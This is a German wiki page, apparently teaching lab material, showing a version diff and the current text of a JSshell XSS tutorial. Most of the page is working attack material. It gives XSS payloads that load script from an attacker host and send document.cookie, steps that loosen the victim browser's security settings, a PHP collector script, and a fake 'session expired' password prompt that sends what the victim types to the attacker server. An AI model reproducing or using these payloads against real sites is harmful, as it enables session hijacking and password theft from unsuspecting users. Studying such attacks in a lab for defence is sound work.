Jsshell: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 72: Zeile 72:
 
=Passwörter klauen=
 
=Passwörter klauen=
  
==Auf kali==
+
==Auf Kali==
*cat /var/www/html/recv.php                                                            
+
; Apache + PHP müssen laufen
<?php
+
*systemctl start apache2
$cookie=($_GET['cookie']);  
+
 
$myFile = "CollectedSessions.txt";
+
; Sammler anlegen
$fh = fopen($myFile, 'a') or die("can't open file");  
+
*cat /var/www/html/recv.php
$stringData = $cookie. "\n";
+
<?php
fwrite($fh, $stringData);
+
$pw = $_GET['pw'] ?? '';
fclose($fh)
+
$fh = fopen("CollectedSessions.txt","a");
?>
+
fwrite($fh, $pw."\n");
*touch /var/www/html/recv.php
+
fclose($fh);
*chmod 777 /var/www/html/recv.php
+
?>
 +
 
 +
*chmod 644 /var/www/html/recv.php
 
*touch /var/www/html/CollectedSessions.txt
 
*touch /var/www/html/CollectedSessions.txt
*chmod 777 /var/www/html/CollectedSessions.txt
+
*chmod 666 /var/www/html/CollectedSessions.txt
  
 
==Die Shell==
 
==Die Shell==
 
  Listening on [any] 5555 for incoming JS shell ...
 
  Listening on [any] 5555 for incoming JS shell ...
  Got JS shell from [10.81.31.101] port 53146 to orville 5555
+
  Got JS shell from [Victim-IP] port XXXXX to kali 5555
  >>> var password = prompt('Your session has expired. Pleas enter your password to continue. ',''); document.location = "http://10.0.10.101/recv.php?cookie=" + password;
+
  >>>  
==Beim Opfer poppt ein Fenster auf==
+
 
[[Datei:Xss-51.png]]
+
; Passwort abfragen und senden
 +
*var p = prompt('Your session has expired. Please enter your password:','');
 +
*new Image().src='http://10.0.10.101/recv.php?pw='+encodeURIComponent(p);
 +
 
 +
==Beim Opfer==
 +
Popup erscheint, Benutzer gibt Passwort ein.
 +
 
 
==Auf Kali==
 
==Auf Kali==
*tail -f CollectedSessions.txt  
+
*tail -f /var/www/html/CollectedSessions.txt
3131122
+
 
343434
+
; Erwartung
null
+
Passwörter erscheinen zeilenweise in der Datei.
Streng geheimes Passwort
 
  
 
=Links=
 
=Links=
 
*https://github.com/shelld3v/JSshell/blob/master/README.md
 
*https://github.com/shelld3v/JSshell/blob/master/README.md

Version vom 19. Januar 2026, 19:04 Uhr

Vorarbeiten zum Demonstrieren

  • Opfer-Browser vorbereiten ==
about
config
  • security.mixed_content.block_active_content → false
  • security.mixed_content.block_display_content → false
  • security.fileuri.strict_origin_policy → false


git clone

start

  • ./jsh.py -g -p 5555 -s 10.0.10.101
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v3.1 

Payloads:  
 - SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
 - IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>

Listening on [any] 5555 for incoming JS shell ...

Payload

  • Payload muss ins Eingabefeld

Generierter Link

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [10.0.10.101] port 53146 to orville 5555
>>> 

Lebenszeichen

  • confirm('JSshell live')
Erwartung

Popup erscheint im Opfer-Browser.

Seite sichtbar verändern

  • document.body.style.background='red'
Erwartung

Hintergrund der Opferseite wird rot.

Text einblenden

  • document.body.innerHTML='OWNED'
Erwartung

Opferseite zeigt nur noch OWNED.

Aktuelle URL anzeigen

  • confirm(document.location.href)
Erwartung

Popup mit der aktuell aufgerufenen Opfer-URL.

Cookie anzeigen (falls vorhanden)

  • confirm(document.cookie)
Erwartung

Popup mit Cookie-Inhalt oder leerer String.



Passwörter klauen

Auf Kali

Apache + PHP müssen laufen
  • systemctl start apache2
Sammler anlegen
  • cat /var/www/html/recv.php

<?php $pw = $_GET['pw'] ?? ; $fh = fopen("CollectedSessions.txt","a"); fwrite($fh, $pw."\n"); fclose($fh); ?>

  • chmod 644 /var/www/html/recv.php
  • touch /var/www/html/CollectedSessions.txt
  • chmod 666 /var/www/html/CollectedSessions.txt

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [Victim-IP] port XXXXX to kali 5555
>>> 
Passwort abfragen und senden

Beim Opfer

Popup erscheint, Benutzer gibt Passwort ein.

Auf Kali

  • tail -f /var/www/html/CollectedSessions.txt
Erwartung

Passwörter erscheinen zeilenweise in der Datei.

Links